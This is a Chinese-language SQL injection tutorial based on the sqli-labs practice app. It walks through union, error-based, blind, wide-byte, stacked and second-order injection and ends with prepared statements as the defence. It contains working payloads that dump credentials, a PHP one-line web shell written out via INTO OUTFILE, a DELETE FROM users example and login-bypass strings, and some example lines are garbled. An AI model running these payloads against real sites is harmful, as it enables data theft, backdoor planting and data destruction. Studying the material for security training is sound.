云计算百科
云计算领域专业知识百科平台

SQL注入

本文章主要以MySQL数据库的注入分析

一库三表六字段(MySQL):

information——schema:它是数据库自带的 “元数据信息库”,存储着当前数据库实例里,关于数据库、表、字段等结构的描述信息,相当于数据库的 “目录”,让你能查询数据库自身的结构细节 。
schemata 表:存数据库(模式)的基本信息,schema_name 字段就是具体数据库的名称,查有哪些数据库时可从这取。
tables 表:记录表的信息,table_name 是表名,table_schema 表示这张表所属的数据库名,想知道某个库有哪些表,就查这里。
columns 表:存字段(列)信息,column_name 是字段名,table_name 是字段所属的表名,table_schema 是字段所属的数据库名,查某表有哪些字段、字段属于哪个库 / 表,靠它。
在这里插入图片描述

注入点判断(这里以sqli-labs为背景讲解):

SQL注入有首先要判断注入点,注入分为数字型注入、字符型注入

数字型注入:

后端 SQL 语句中,参数id未被引号包裹,例如:

select * from users where id=1(参数直接作为数字参与查询)

此时在 URL 后添加and 1=1或and 1=2(如?id=1 and 1=2),若页面返回结果不同,可初步判断为数字型注入点。

字符型注入:

后端 SQL 语句中,参数id被引号(单引号’、双引号")或括号 + 引号组合包裹,例如:

select * from users where id='1'(单引号包裹)
select * from users where id=("1")(括号 + 双引号包裹)

此时添加单引号’(如?id=1’)会导致 SQL 语句语法错误(引号不闭合),
变成select * from users where id=‘1’',进而触发数据库报错,以此判断为字符型注入点。
若添加’报错:说明参数被单引号包裹(如id=‘1’);
若添加"报错:说明参数被双引号包裹(如id=“1”);
若添加)报错:说明参数被括号 + 引号包裹(如id=(‘1’),添加)后变为id=(‘1’)‘),语法错误);
组合使用(如’) “))等):用于应对更复杂的包裹方式(如id=((“1”)),添加”))可打破闭合)。

注意:

某个字符能打破后端语法闭合导致报错,说明该字符对应的包裹方式存在,进而确认注入点类型(因为注入的特殊字符破坏了原有 SQL 语句的语法结构,导致数据库无法正常解析执行,从而触发语法错误。)
传参方式:
传参方式有很多种,常用的有get型、post型、cookie、User-Agent等方式,注入的内容也根据实际情况不通使用不同的传参方式

联合注入:第一关

第一关(get形式传参)
补充:
group_concat(field1,field2,…)作用:将多个查询结果连接成一行
参数field:需要参与拼接的字段名(可以一个或者多个),

  • 判断注入点
    用’ “ ) )) 四种方式和单双引号+括号的组合来判断,哪个错了,哪个就是注入点,如果都错了,那就是数字型注入点
    http://127.0.0.1:8888/sqli/Less-1/?id=1’报错

  • 判断列数(字段数):
    http://127.0.0.1:8888/sqli/Less-1/?id=1’ order by 3–+
    注意:这个’–+’在get传参不能漏,否则这里会报错
    第四个开始出现错误,那么这个字段就只有三个
    在这里插入图片描述

  • 看回显:

  • http://127.0.0.1:8888/sqli/Less-1/?id=-1’ union select 1,2,3 –+

    联合注入最重要的一步,该步骤不成功或者始终显示和前面同一个页面,不是联合注入
    还有这个id=-1’这里一定要负一
    查看数据库和版本:

    http://127.0.0.1:8888/sqli/Less-1/?id=-1’ union select 1,database(),version() –+

    在这里插入图片描述
    前面回显里把2和3回显出来了,这里我们在2和3的位置进行替换成database()和version()
    在这里插入图片描述

  • 爆库(拿到所有表):
  • http://127.0.0.1:8888/sqli/Less-1/?id=-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3 –+

    或者

    http://127.0.0.1:8888/sqli/Less-1/?id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+

    在这里插入图片描述

  • 爆字段(拿到所有列):
  • http://127.0.0.1:8888/sqli/Less-1/?id=-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),3 –+

    在这里插入图片描述

  • 获取账号密码:
  • ?id=-1’ union select 1,(select group_concat(username,id,password) from security.users),3 –+
    ?id=-1’ union select 1,(select group_concat(username,id,password) from users),3 –+

    在这里插入图片描述

    文件读取(联合注入下的文件读取):

    条件:
    1.当有显示列的时候,文件读可以利用union注入
    2.没有显示列的时候,只能利用盲注进行读取

    union注入读取文件(load_file)

    ?id=-1’ union select 1,2,load_file(“D:/phpstudy_pro/WWW/sqli/kkk.txt”) –+
    在这里插入图片描述

    理论上应该是成功的,不知道为什么这里不显示
    这里这个文件路径"D:/phpstudy_pro/WWW/sqli/kkk.txt"可以变成十六进制
    union注入写入一句话木马(into outfile)
    //利用union注入写入一句话木马 into outfile 和 into dumpfile 都可以
    http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,‘<?php @eval($_POST[aaa]);?>’ into outfile ‘L:/4.php’ #
    // 可以将一句话木马转换成16进制的形式
    http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e into outfile ‘L:/4.php’ #

    盲注读取文件

    //盲注读取的话就是利用hex函数,将读取的字符串转换成16进制,再利用ascii函数,转换成ascii码,再利用二分法一个一个的判断字符,很复杂,一般结合工具完成
    http://127.0.0.1/sqli/Less-1/?id=-1’ and ascii(mid((select hex(load_file(‘e:/3.txt’))),18,1))>49#’ LIMIT 0,1

    报错注入:第一关

    补充
    updatexml(XML_document, XPath_string, new_value)
    第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc 1
    第二个参数:XPath_string (Xpath 格式的字符串) ,如果不了解 Xpath 语法,可以在网上查找教程。
    第三个参数:new_value,String 格式,替换查找到的符合条件的数据

  • 判断:
    ?id=1’
    判断是否为报错注入,在地址栏里输入’ “ ) )) 四种方式或者单双引号+括号的组合来判断,哪个错了,哪个就是注入点
    在这里插入图片描述

  • 验证:
    ?id=1’ and updatexml(1,0x7e,3); –+
    在这里插入图片描述
    正常报错,为报错注入
    爆库(获取所有表名):
    获取当前数据库?id=-1’ and updatexml(1,concat(‘~’,database()),3) – +

  • 拿表

  • ?id=-1’ and updatexml(1,concat(‘~’, substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) , 1 , 31) ),3) – +

    ?id=1’ and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)) –+爆表出’emails,referers,uagents,users

    ?id=1’ and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e),1)) –+换成这个也一样,因为就是上面的库名

    在这里插入图片描述

  • 爆字段
  • ?id=1’ and (updatexml(1,concat(0x7e,(select group_concat(column_name)
    from information_schema.columns where table_schema=‘security’ and
    table_name =‘users’),0x7e),1)) –+爆出字段’id,username,password
    ?id=-1’ and updatexml(1,concat(‘~’,
    substr((select users
    from security ) , 1 , 31) ),3) – a

    Substr(string,start,number)
    String:要截取的字符串,start:从哪个位置开始截取,number:截取的数量

  • 获取账号密码:
    ?id=1’ and (updatexml(1,concat(0x5c,(select group_concat(password,id,username) from users),0x5c),1)) –+
    报错注入中常见的报错函数
    MySQL
  • 注意:

    报错注入利用的函数有很多:
    Xpath格式报错:updatexml()、extractvalue()
    主键重复报错:floor()
    数据溢出报错:exp()
    非几何参数报错:multipoint()、polygon()等
    列名重复报错:join、name_const()
    SQLserver:
    convert(); 用来类型转换,第二个参数包含特殊字符会报错
    cast(); 用来类型转换,参数包含特殊字符会报错
    Oracle:
    没有报错函数,可以用比较运算符报错
    Access:
    不支持报错注入,只能使用枚举

    布尔盲注:第八关

    时间盲注使用到length()、ascii()、substr()、group_concat()三个函数
    使用条件:
    页面没有回显位置(联合注入无法使用),没有报错信息(报错注入无法使用),页面只有登录成功和失败两种
    判断:
    输入 ‘ “ ) ))或者单双引号和单双括号的两两结合判断,正确的即为注入点

  • 判断注入点
  • 输入?id=1”显示成功
    在这里插入图片描述

  • 判断长度
    ?id=1’ and length((select database()))=8–+
    这个判断条件根据实际情况改变
  • 判断与枚举字符
    拿库
    判断库长度
    ?id=1’ and length((select database()))=8–+
    逐一确定库字符
  • ?id=1’and ascii(substr((select database()),1,1))=115–+ →s ?id=1’and
    ascii(substr((select database()),2,1))=101–+ →e ?id=1’and
    ascii(substr((select database()),3,1))=99–+ →c … ?id=1’and
    ascii(substr((select database()),8,1))=121–+ →y

    拿表
    判断表长度

    ?id=1” and length((select group_concat(table_name) from
    information_schema.tables where table_schema=database()))>13–+

    逐一确定表字符

    ?id=1” and ascii(substr((select group_concat(table_name) from
    information_schema.tables where table_schema=database()),1,1))>99–+

    拿字段
    判断字段名长度

    ?id=1” and length((select group_concat(column_name) from
    information_schema.columns where table_schema=database() and
    table_name=‘users’))>20–+

    逐一判断字段具体值

    ?id=1” and ascii(substr((select group_concat(column_name) from
    information_schema.columns where table_schema=database() and
    table_name=‘users’),1,1))>99–+

    拿数据
    判断数据长度

    ?id=1” and length((select group_concat(username,password) from
    users))>109–+

    逐一拿到字段具体值

    ?id=1’ and ascii(substr((select group_concat(username,password) from
    users),1,1))>50–+

    弊端:
    时间复杂度大,消耗时间巨大
    一般编写脚本和使用sqlmap爆破

    时间盲注(延时注入):第九关

    时间盲注使用到length()、ascii()、substr()、group_concat()三个函数
    使用条件:
    无回显(联合注入无法使用)
    无报错信息(报错注入无法使用)
    无论成功或者失败,页面只响应一种结果(布尔注入无法使用)

  • 判断
    使用’ “ ) ))或者单双引号的两两组合均返回一种页面
    在这里插入图片描述
  • 判断注入点
    使用?id=1’and if(1,sleep(5),3) –+
    前面id=1’是判断注入点,后面if(1,sleep(5),3)是延时注入的条件
    如果该语句被成功执行会在5秒后刷新页面
  • 判断长度与枚举
    取库
    判断库长度
  • ?id=1' and if((length(database())>1),sleep(5),3) — +

    length(database())>1,这里的1,依次递增,
    本关就是length(database())>7,延时5秒返回,length(database())>8直接返回,则库的长度为8位(security)
    逐一判断库名的具体字符

    ?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)–+ →s
    ?id=1'and if(ascii(substr((select database()),2,1))=101,sleep(5),1)–+ →e
    ?id=1'and if(ascii(substr((select database()),1,1))=99,sleep(5),1)–+ →c
    ?id=1'and if(ascii(substr((select database()),1,1))=121,sleep(5),1)–+ →y

    取表
    判断表长度

    ?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)–+
    ?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>29,sleep(5),1)–+立即返回,则表名长度为29
    逐一取表名具体字符(同上)
    ?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)–+

    取字段
    判断字段长度

    ?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)–+

    逐一取字段名

    ?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)–+

    拿数据
    判断数据长度

    ?id=1' and if(length(select group_concat(username,password) from users))>109 –+

    逐一确定具体值

    ?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)–+

    弊端:
    时间复杂度大,消耗时间巨大
    容易受网络波动等因素影响
    一般编写脚本和使用sqlmap爆破

    盲注之正则表达式使用

    查找name字段中以'st'为开头的所有数据
    mysql>SELECT name FRoM person tbl WHERE name REGEXP '^st';
    查找name字段中以'ok'为结尾的所有数据
    mysql>SELECT name FRoM person tbl WHERE name REGEXP 'ok$'s
    查找name字段中包含'mar'字符串的所有数据
    mysql>SELECT name FRoM person tbl WHERE name REGEXP'mar 5
    查找name字段中以元音字符开头或以'ok'字符串结尾的所有数据
    mysql>SELECT name FRoM person tbl WHERE name REGEXP>"e[aeiou]|ok$’s

    已知数据库名为 security,判断第一个表的表名是否以 a-z 中的字符开头,^[a-z]–> ^a ; 判断出了第一个表的第一个字符,接着判断第一个表的第二个字符 ^a[a-z] –> ^ad ; 就这样,一步一步判断第一个表的表名 ^admin$ 。然后 limit 1,1 判断第二个表
    // 判断security数据库下的第一个表的是否以a-z的字母开头

    http://127.0.0.1/sqli/Less-1/?id=1' and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^[a-z]' limit 0,1) #

    宽字节注入:

    原理:
    宽字节注入的本质是利用双字节编码(如 GBK)的解析特性,打破应用程序对单引号的转义保护。
    转义机制的常规操作
    应用程序通常会用反斜杠(\\)转义单引号(‘),例如:
    用户输入’ → 转义后变为’(\\的 ASCII 码是0x5C,‘是0x27)。
    宽字节的 “吞噬” 逻辑
    在 GBK 编码中,两个字节可组成一个汉字,且第一个字节范围是0x81-0xFE。
    若攻击者输入一个0x81-0xFE范围内的字符(如0xBF),会发生:
    输入字符0xBF + 转义符0x5C → 组成 GBK 汉字0xBF5C(“缞” 字)
    原本用于转义的0x5C被 “吃掉”,单引号0x27恢复原样,成功闭合 SQL 语句。
    示例:
    网站使用的时GBK编码
    攻击者输入:%BF’ OR 1=1#(%BF是0xBF的 URL 编码)
    服务器转义后变为:0xBF 0x5C 0x27 OR 1=1#
    GBK 解析:0xBF5C被识别为汉字 “缞”,剩余0x27(单引号)闭合字符串

    SELECT * FROM users WHERE username = '缞' OR 1=1#'

    注入成功

    堆叠注入:

    有兴趣可以去找【强网杯 2019】随便注这道题看看
    堆叠注入(Stacked Injections)指攻击者在同一个数据库连接中,通过分号(;)分隔,一次性执行多条 SQL 语句,从而突破应用程序的限制,执行额外的恶意操作。
    下面时一条堆叠注入的语句

    SELECT * FROM users WHERE id=1; DELETE FROM users;

    数据库会先执行查询,再执行删除操作。

    预编译

    原理:

    传统 SQL 执行流程是 “拼接 SQL 字符串 → 提交数据库 → 数据库解析 / 编译 → 执行”,而预编译将流程拆分为两步:
    编译阶段:提交包含占位符的 SQL 模板(如 SELECT * FROM users WHERE id = ?),数据库对模板进行语法解析、优化、生成执行计划,并将编译结果缓存。
    执行阶段:仅传入具体参数(如 1),数据库直接使用缓存的执行计划执行,无需重新解析编译。
    这种机制确保参数仅作为数据处理,不会被解析为 SQL 指令,从根本上避免了 SQL 注入。

    通用 SQL 预编译语法(分步骤执行)

    多数关系型数据库(如 MySQL、PostgreSQL、SQL Server、Oracle)支持预编译,核心语法包括 定义模板、传入参数执行、释放资源 三个步骤,以下是通用示例:

  • 定义预编译模板(PREPARE)
    使用 PREPARE 语句定义 SQL 模板,用占位符表示后续要传入的参数。
    占位符格式:
    匿名占位符:?(MySQL、PostgreSQL、SQL Server 等通用)。
    命名 / 位置占位符:$1、$2(PostgreSQL)或 :param(Oracle)。
    – 示例 1:MySQL/PostgreSQL 匿名占位符(?)
  • PREPARE user_stmt FROM 'SELECT id, username FROM users WHERE age > ? AND status = ?';

    – 示例 2:PostgreSQL 位置占位符($1、$2)

    PREPARE user_stmt (int, text) AS 'SELECT id, username FROM users WHERE age > $1 AND status = $2';

    – 示例 3:Oracle 命名占位符(:age、:status)

    PREPARE user_stmt FROM 'SELECT id, username FROM users WHERE age > :age AND status = :status';

  • 传入参数并执行(EXECUTE)
    通过 EXECUTE 语句传入具体参数,执行预编译好的 SQL 模板。
    参数需与占位符数量、类型一一对应。
    sql
    – 示例 1:MySQL 执行(USING 后跟参数)
  • EXECUTE user_stmt USING 18, 'active'; — 年龄>18 且 状态为'active'

    – 示例 2:PostgreSQL 执行(直接传入参数)

    EXECUTE user_stmt(18, 'active'); — 对应 $1=18,$2='active'

    – 示例 3:Oracle 执行(USING 绑定命名参数)

    EXECUTE user_stmt USING 18, 'active'; — 对应 :age=18,:status='active'

  • 释放预编译资源(DEALLOCATE)
    预编译语句会占用数据库缓存资源,不需要时需释放(部分数据库会自动回收,但显式释放更规范)。
    – MySQL/PostgreSQL/Oracle 通用释放语法
  • DEALLOCATE PREPARE user_stmt;

    二次注入:

    示例:
    建立一个用户
    用户名:admin’#
    密码:123456
    修改该用户名的密码为:aaaaaa
    此时admin’#的密码没有变,二admin的密码变为aaaaaa
    原理

    $sql = "UPDATE users SET PASSWORD='aaaaaaaaaa' where username='admin'#' and password='$curr_pass' ";

    #后边的注释掉了

    User-Agent注入:

    确定是User-Agent注入后(参数传递在User-Agent中),抓包,然后在该头写入相应的注入语句不断重放即可,

    Cookie注入:

    确定是Cookie注入后(参数传递在cookie中),抓包,然后在该头写入相应的注入语句不断重放即可,

    万能密码:

    sql="select*from test where username=’ XX ’ and password=’ XX ’ ";
    admin’ or ‘1’='1 XX //万能密码(已知用户名)
    XX ‘or’1’='1 //万能密码(不需要知道用户名)
    'or ‘1’=‘1’# XX //万能密码(不知道用户名)

    赞(0)
    未经允许不得转载:网硕互联帮助中心 » SQL注入
    分享到: 更多 (0)

    评论 抢沙发

    评论前必须登录!